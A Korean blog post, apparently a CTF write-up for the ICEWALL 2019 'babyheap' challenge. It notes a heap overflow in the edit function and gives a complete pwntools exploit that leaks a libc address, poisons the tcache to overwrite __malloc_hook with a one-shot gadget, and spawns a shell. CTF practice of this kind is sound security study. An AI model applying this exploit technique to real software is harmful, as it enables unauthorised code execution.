본문으로 바로가기

[System] babyheap / 400

category ICEWALL 2019. 7. 20. 16:23

Download: babyheap

 

64bit ELF 바이너리.

 

메뉴 입력에 따라 Heap에 메모리를 할당하거나 해제할 수 있고, 내용을 수정하고 출력할 수 있다. 문제 구성을 보면 2017 0CTF의 babyheap 문제를 일부 변형한 것으로 보여진다.

 

할당된 Memory Chunk의 data 주소를 heap (0x6010A0)이라는 변수에 저장한다. add를 할 때 chunk의 크기를 지정해 줄 수 있지만 edit에서 크기를 비교하는 부분은 보이지 않으므로, heap overflow가 발생할 수 있다.

 

다 풀었는데 너무 귀찮아서 (그리고 나 스스로도 아직 이해가 잘 안되니까) 나중에 설명해야지..

 

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./babyheap')
else :
	p = connect('icewall-ctf.kr', 10209)

def _add(idx, size):
	print '[Log] Heap Allocated: Index=%d, Size=%08X'%(idx, size)

	p.sendline('1')
	p.sendlineafter('idx: ', str(idx))
	p.sendlineafter('size: ', str(size))
	p.recvuntil(': print\n')

def _edit(idx, data):
	print '[Log] Heap Write: Index=%d'%idx
	print '      Content: '+data

	p.sendline('2')
	p.sendlineafter('idx: ', str(idx))
	p.sendlineafter('content: ', data)
	p.recvuntil(': print\n')

def _del(idx):
	print '[Log] Heap Free: Index=%d'%idx

	p.sendline('3')
	p.sendlineafter('idx: ', str(idx))
	p.recvuntil(': print\n')

def _print(idx):
	p.sendline('4')
	p.sendlineafter('idx: ', str(idx))
	data = p.recvuntil('1:')[:-2]
	p.recvuntil(': print\n')
	return data

heap = 0x6010A0

p.recvuntil(': print\n')

_add(0, 0x10)
_add(1, 0x100)

#pause()

_add(31, 0x100)
_add(30, 0x100)
_add(29, 0x100)
_add(28, 0x100)
_add(27, 0x100)
_add(26, 0x100)
_add(25, 0x100)

_del(31)
_del(30)
_del(29)
_del(28)
_del(27)
_del(26)
_del(25)

_del(1)

# malloc_hook: 0x3EBC30
# free_hook: 0x3ED8E8

main_arena = u64(_print(1).ljust(8, '\x00')) - 96
malloc_hook = main_arena - 0x10
one_shot_gadget = malloc_hook + (0x10a38c-0x3ebc30)

print '\nmain_arena = '+hex(main_arena)
print 'malloc_hook = '+hex(malloc_hook)
print 'one_shot_gadget = '+hex(one_shot_gadget)+'\n'

_edit(25, p64(malloc_hook))

_add(2, 0x100)
_add(2, 0x100)

_edit(2, p64(one_shot_gadget))

p.sendline('1')
p.sendlineafter('idx: ', '3')
p.sendlineafter('size: ', str(0x10))

p.interactive()

'ICEWALL' 카테고리의 다른 글

[Reversing] supereasy / 50  (0) 2019.07.20
[System] note / 450  (0) 2019.07.20
[System] stack_chk_fail / 300  (0) 2019.07.19
[System] libc_leak / 250  (0) 2019.07.19
[System] typing_practice / 200  (0) 2019.07.19